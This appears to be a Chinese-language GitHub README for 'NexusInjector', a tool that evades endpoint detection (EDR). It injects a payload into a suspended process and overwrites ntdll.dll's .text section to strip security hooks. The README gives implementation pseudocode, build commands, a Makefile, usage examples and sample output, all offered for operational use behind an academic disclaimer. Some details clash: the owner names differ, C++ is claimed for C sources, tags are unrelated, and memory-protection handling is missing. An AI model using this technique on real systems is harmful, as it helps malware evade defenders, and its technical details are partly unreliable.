TheCROWNV12/NexusInjector
GitHub: TheCROWNV12/NexusInjector
一个用于演示用户态 EDR 绕过的底层 C++ 框架,通过原子热修补 ntdll.dll 的 .text 节实现 API Unhooking。
Stars: 0 | Forks: 0
# NexusInjector
**通过编程式 API Unhooking 实现用户态 EDR 绕过**
*本科毕业论文级别技术专著*
## 目录
1. [摘要](#1-abstract)
2. [数学基础:RVA 到 RAW 的转换](#2-mathematical-foundation-rva-to-raw-conversion)
3. [系统调用插桩](#3-system-call-instrumentation)
4. [热修补 ntdll.dll 的 .text 节](#4-hot-patching-the-text-section-of-ntdlldll)
5. [构建系统与原生编译](#5-build-system--native-compilation)
6. [使用与集成](#6-usage--integration)
7. [学术免责声明](#7-academic-disclaimer)
8. [参考文献](#8-references)
## 1. 摘要
终端检测与响应(EDR)代理通过在 `ntdll.dll` 和 `kernel32.dll` 导出的关键 NT API 函数的入口点安装 **inline hooks**,从而破坏用户态 API 监控表面。这些 hook 会将执行流重定向到一个特权检查驱动程序,该程序会在每个系统调用到达内核之前验证其合法性。
**NexusInjector** 实现了一个双阶段的 unhooking 引擎:
- **阶段 I — 挂起进程注入:** 在 `CREATE_SUSPENDED` 语义下打开、分配并写入目标进程,以确保在 API 表面恢复之前不会执行任何恶意线程。
- **阶段 II — 编程式 .text 节重建:** 从已知良好的磁盘映射中检索 `ntdll.dll` 的原始 `.text` 节,通过 PE32/PE32+ 的 RVA 到 RAW 公式进行重定位,并以原子方式将其写入被挂钩(hooked)的内存区域,从而在单次 `WriteProcessMemory` 操作中有效擦除每一个 EDR trampoline。
最终结果是,该进程的 NT API 表面与全新加载的、未经插桩的 `ntdll.dll` 逐字节完全相同——使操作者能够在不受 EDR 检测的情况下调用任何已脱钩的 syscall。
## 2. 数学基础:RVA 到 RAW 的转换
磁盘上的每个 PE 文件都将节存储在文件偏移量处;在内存中,这些相同的节被加载到虚拟地址。为了用磁盘上的原始字节覆盖内存中的 `.text` 节,我们必须将节头的**相对虚拟地址(RVA)**转换为**原始文件偏移量**。
### 2.1 符号说明
设:
| 符号 | 含义 |
|--------|---------|
| `RVA_s` | 目标节的相对虚拟地址 |
| `P` | 内存中已加载 PE 映像的基地址 |
| `VA_s` | 内存中该节的虚拟地址:`VA_s = P + RVA_s` |
| `R_sec` | 该节在 PE 文件中的原始偏移量(来自 `IMAGE_SECTION_HEADER.PointerToRawData`) |
| `V_sec` | 该节加载时的虚拟地址(来自 `IMAGE_SECTION_HEADER.VirtualAddress`) |
| `FO` | 对应于任意 RVA 的最终文件偏移量 |
### 2.2 转换规则
给定节边界内的任意 RVA:
$$
FO = R_{sec} + (RVA - V_{sec})
$$
*构造性证明。* PE 加载器将文件中从 `R_sec` 开始的 `V_sec` 字节映射到虚拟地址 `VA_s`。差值 `(RVA - V_sec)` 衡量了目标地址超过节起始点的距离;将该增量加到原始偏移量上,即可得出磁盘 `.dll` 文件内的确切字节位置。
### 2.3 应用 — 原始 .text 提取
```
Algorithm 1 — Read-Pristine-Section
Input: hFile HANDLE to ntdll.dll on disk
pNtHeader ptr to IMAGE_NT_HEADERS
dwSectionIndex index of .text in IMAGE_SECTION_HEADER array
Output: pbBuffer heap-allocated copy of pristine .text bytes
1 sec <- &IMAGE_FIRST_SECTION(pNtHeader)[dwSectionIndex]
2 rva <- sec.VirtualAddress
3 raw <- sec.PointerToRawData
4 sz <- min(sec.SizeOfRawData, sec.Misc.VirtualSize)
5 pbBuffer <- HeapAlloc(sz)
6 SetFilePointer(hFile, raw, NULL, FILE_BEGIN)
7 ReadFile(hFile, pbBuffer, sz, &cbRead, NULL)
8 return pbBuffer
```
由于被挂钩的 EDR 进程在内存中的 `.text` 与冷文件不同,我们使用磁盘上的原始副本。RVA 到 RAW 公式保证了我们能准确读取 EDR 最初覆盖的那些字节。
## 3. 系统调用插桩
### 3.1 syscall 代理模式
`ntdll.dll` 中的原生 NT API 函数最终都会发出一条 `syscall` 指令(x64)或 `sysenter` 指令(x86)。典型的未插桩函数体具有以下形式:
```
; NtCreateThreadEx (x64, Windows 10 22H2)
mov r10, rcx
mov eax, 0C7h ; syscall number
syscall
ret
```
EDR hook 使用 `jmp` 指令替换此函数的前几个字节,将其跳转到一个监控 trampoline:
```
; Hooked NtCreateThreadEx
jmp qword ptr [EDR_MONITOR] ; 5-byte near jump
```
当执行到达 trampoline 时,EDR 会检查调用者、验证参数,并有条件地转发给真正的 syscall。
### 3.2 Unhooking 策略
NexusInjector **不会**恢复单个函数序言。相反,它执行**整体的 .text 节替换**。每个 syscall stub 都会同时恢复到其出厂状态。
```
In-memory state before unhooking:
+---------------------------------------------+
| ntdll.dll .text section (in target process) |
+---------------------------------------------+
| NtOpenFile: jmp [EDR_MONITOR] | <- HOOKED
| NtCreateFile: jmp [EDR_MONITOR] | <- HOOKED
| NtReadFile: jmp [EDR_MONITOR] | <- HOOKED
| ... |
| NtCreateThreadEx: jmp [EDR_MONITOR] | <- HOOKED
+---------------------------------------------+
In-memory state after unhooking:
+---------------------------------------------+
| ntdll.dll .text section (in target process) |
+---------------------------------------------+
| NtOpenFile: mov r10, rcx; mov eax, 0x... | <- PRISTINE
| NtCreateFile: mov r10, rcx; mov eax, 0x... | <- PRISTINE
| NtReadFile: mov r10, rcx; mov eax, 0x... | <- PRISTINE
| ... |
| NtCreateThreadEx: mov r10, rcx; mov eax, 0C7h| <- PRISTINE
+---------------------------------------------+
```
因为该节是在单次 `WriteProcessMemory` 调用中恢复的,所以 EDR 没有机会检测到部分修改或对单个 stub 重新挂钩。
## 4. 热修补 ntdll.dll 的 .text 节
### 4.1 ASCII 状态图 — 热修补前
```
Target Process (SUSPENDED)
=====================================================================
Address Region Content
=====================================================================
0x7FFE0000 ntdll.dll PE header MZ........PE.......
0x7FFE0400 .text (hooked) [jmp EDR] [jmp EDR] [jmp EDR]
^^^^^^^^^^^^^^^ Every entry point redirected
through EDR trampoline.
0x7FFE3000 .rdata ...
0x7FFE5000 .data ...
EDR Driver (kernel) communicates with EDR user-mode agent
^
|
EDR Hook Trampoline (in agent DLL) ---------------+
```
**关键观察:** EDR 用户态代理将其自身的 DLL 注入到目标进程中,并通过 `jmp` 修补对 `.text` 中的每个 NT API 进行了挂钩。
### 4.2 ASCII 状态图 — 热修补后
```
Target Process (SUSPENDED)
=====================================================================
Address Region Content
=====================================================================
0x7FFE0000 ntdll.dll PE header MZ........PE.......
0x7FFE0400 .text (restored) [mov r10,rcx] [mov eax,...]
^^^^^^^^^^^^^^^ Byte-for-byte identical to
on-disk ntdll.dll.
0x7FFE3000 .rdata ...
0x7FFE5000 .data ...
EDR Driver (kernel) <-- no user-mode agent can
intercept syscalls now
EDR Hook Trampoline (in agent DLL) ---+ (orphaned — execution
never reaches it)
```
**关键观察:** EDR 内核驱动程序仍然处于活动状态,但用户态的 trampoline 现在已成为死代码。每个 syscall 都直接由恢复后的 `ntdll.dll` stub 发出,完全绕过了 EDR 检查层。
### 4.3 实现伪代码
```
Phase II — Hot-Patching
Input: hProcess HANDLE to target (suspended)
dwNtdllBase base address of ntdll.dll in target
1 hFile <- CreateFile("C:\\Windows\\System32\\ntdll.dll", ...)
2 hMap <- CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL)
3 pMap <- MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)
4 pDos <- (IMAGE_DOS_HEADER *)pMap
5 pNt <- (IMAGE_NT_HEADERS *)((BYTE *)pMap + pDos->e_lfanew)
6 sec <- IMAGE_FIRST_SECTION(pNt)
7 for i = 0 to pNt->FileHeader.NumberOfSections - 1:
8 if strcmp(sec[i].Name, ".text") == 0:
9 break
10 rawAddr <- sec[i].PointerToRawData
11 virtAddr <- dwNtdllBase + sec[i].VirtualAddress
12 secSize <- sec[i].SizeOfRawData
13 pbPristine <- (BYTE *)pMap + rawAddr
14 WriteProcessMemory(hProcess, (LPVOID)virtAddr, pbPristine, secSize, NULL)
15 UnmapViewOfFile(pMap)
16 CloseHandle(hMap)
17 CloseHandle(hFile)
```
第 14 行是擦除所有 hook 的**单次原子写入**。
## 5. 构建系统与原生编译
### 5.1 前置条件
| 组件 | 版本 / 要求 |
|-----------|-----------------------|
| 操作系统 | Windows 10 22H2 / Windows 11 23H2 (x64) |
| 工具链 | Microsoft Visual Studio 2022 (MSVC v143) |
| SDK | Windows 10 SDK 10.0.20348.0 或更高版本 |
| 架构 | `amd64` (x64) 目标 |
### 5.2 项目结构
```
NexusInjector/
├── src/
│ ├── main.c # Entry point, CLI argument parsing
│ ├── injector.c / .h # Suspended-process creation & injection
│ ├── unhook.c / .h # RVA-to-RAW conversion & .text patching
│ ├── pe.c / .h # PE parser (DOS/COFF/NT headers)
│ ├── syscall.c / .h # Direct syscall stubs (fallback)
│ └── utils.c / .h # Error handling, string helpers
├── LICENSE
└── README.md
```
### 5.3 编译说明
打开 **Developer Command Prompt for VS 2022** 并执行:
```
cl.exe /nologo /O2 /EHsc /W4 /WX /utf-8 ^
/Fe:bin\NexusInjector.exe ^
/Fo:build\ ^
src\main.c src\injector.c src\unhook.c src\pe.c src\syscall.c src\utils.c ^
/link /SUBSYSTEM:CONSOLE /DYNAMICBASE /HIGHENTROPYVA /NXCOMPAT
```
| 标志 | 原理 |
|--------------|-----------|
| `/O2` | 最大化速度;内联 PE 解析循环 |
| `/EHsc` | C++ 异常处理模型;仅捕获 `throw` (`sc`) |
| `/W4` `/WX` | 将级别 4 的警告视为错误 |
| `/utf-8` | 源和执行字符集为 UTF-8 |
| `/SUBSYSTEM:CONSOLE` | 分配一个控制台;`printf` 诊断输出所必需 |
| `/DYNAMICBASE` / `/HIGHENTROPYVA` / `/NXCOMPAT` | ASLR 和 DEP 加固 |
### 5.4 使用 Make (NMake) 进行最小化构建
```
# Makefile (NMake format)
CC = cl
CFLAGS = /nologo /O2 /EHsc /W4 /WX /utf-8
LDFLAGS = /link /SUBSYSTEM:CONSOLE /DYNAMICBASE /HIGHENTROPYVA /NXCOMPAT
SRC = src\main.c src\injector.c src\unhook.c src\pe.c src\syscall.c src\utils.c
OUT = bin\NexusInjector.exe
all: $(OUT)
$(OUT): $(SRC)
if not exist bin mkdir bin
if not exist build mkdir build
$(CC) $(CFLAGS) /Fe:$(OUT) /Fo:build\ $(SRC) $(LDFLAGS)
clean:
if exist build del /Q build\*
if exist bin del /Q $(OUT)
.PHONY: all clean
```
构建命令:
```
nmake /f Makefile
```
### 5.5 预期输出
```
C:\NexusInjector> bin\NexusInjector.exe --target notepad.exe
[+] Created process notepad.exe (PID 7404) — SUSPENDED
[+] Allocated 4096 bytes at 0x1A2B0000 in target
[+] Copied payload to target
[+] ntdll.dll base in target: 0x7FFE0000
[+] Pristine .text size: 0x1C000 bytes
[+] Wrote pristine .text at VA 0x7FFE0400 (atomic patch)
[+] Resumed main thread
[+] Injection complete — EDR hooks removed from ntdll.dll
```
## 6. 使用与集成
### 6.1 基本用法
```
NexusInjector.exe --target
```
示例:
```
NexusInjector.exe --target calc.exe
```
### 6.2 集成示例(通过 DLL 的 C/C++)
```
// User of the NexusInjector API
#include "injector.h"
#include "unhook.h"
int main(void)
{
DWORD dwPid = 0;
HANDLE hProcess = NULL, hThread = NULL;
// Phase I — suspended injection
if (!CreateSuspendedProcess(L"target.exe", &dwPid, &hProcess, &hThread))
return 1;
if (!InjectPayload(hProcess))
return 1;
// Phase II — programmatic unhook
if (!RestoreNtdllTextSection(hProcess))
return 1;
ResumeThread(hThread);
return 0;
}
```
## 7. 学术免责声明
```
╔══════════════════════════════════════════════════════════════════════╗
║ ACADEMIC DISCLAIMER ║
║ ║
║ NexusInjector is published exclusively for: ║
║ ║
║ • Academic research and education in adversarial ║
║ Windows internals, offensive tradecraft, and defensive ║
║ evasion detection. ║
║ ║
║ • Authorized threat emulation, red-team engagements, ║
║ and penetration testing conducted under explicit written ║
║ authorization from the system owner. ║
║ ║
║ • EDR / AV bypass research and responsible disclosure to ║
║ security vendors. ║
║ ║
║ UNAUTHORIZED USE, INCLUDING BUT NOT LIMITED TO: ║
║ ║
║ • Deployment against production systems without prior consent ║
║ • Malware development, ransomware, or any crime-ware ║
║ • Violation of the Computer Fraud and Abuse Act (CFAA) ║
║ or any equivalent jurisdiction's computer misuse statutes ║
║ ║
║ IS STRICTLY PROHIBITED AND MAY RESULT IN CRIMINAL PROSECUTION. ║
║ ║
║ THE AUTHOR PROVIDES NO WARRANTY, EXPRESS OR IMPLIED, AND ║
║ DISCLAIMS ALL LIABILITY FOR DAMAGES ARISING FROM THE USE OF ║
║ THIS SOFTWARE. THE ENTIRE RISK OF USE REMAINS WITH THE OPERATOR. ║
║ ║
║ By cloning, building, or executing NexusInjector you acknowledge ║
║ that you have read, understood, and agree to be bound by the ║
║ terms above. ║
╚══════════════════════════════════════════════════════════════════════╝
```
## 8. 参考文献
1. **Microsoft PE 格式规范** — *PE Format* (v10.0).
https://learn.microsoft.com/en-us/windows/win32/debug/pe-format
2. **S. Russinovich, A. Margosis** — *Windows Sysinternals Administrator's
Reference* (Microsoft Press, 2011).
3. **NT API Syscall 编号** — *j00ru / wot Realm*.
https://github.com/j00ru/windows-syscalls
4. **Inline Hooking 与 Detours** — G. Hunt, D. Brubacher, *Detours: Binary
Interception of Win32 Functions* (MSR-TR-99-21, 1999).
5. **通过重建 .text 节绕过 EDR** — *ired.team*, "Reading
ntdll's .text section from disk".
https://www.ired.team/offensive-security/code-injection-process-injection/reading-ntdlls-text-section-from-disk
6. **通过 CreateSuspended 进行进程注入** — *0x00pf*, "Process Doppel-
gänging / Hollowing" (2017).
**维护者:** [lorbe](https://github.com/lorbe)
**代码仓库:** https://github.com/lorbe/NexusInjector
**许可证:** MIT(详见 [LICENSE](LICENSE))
标签:API脱钩, C++, Linux, PE解析, SSH蜜罐, 安全意识培训, 恶意软件, 数据擦除, 进程注入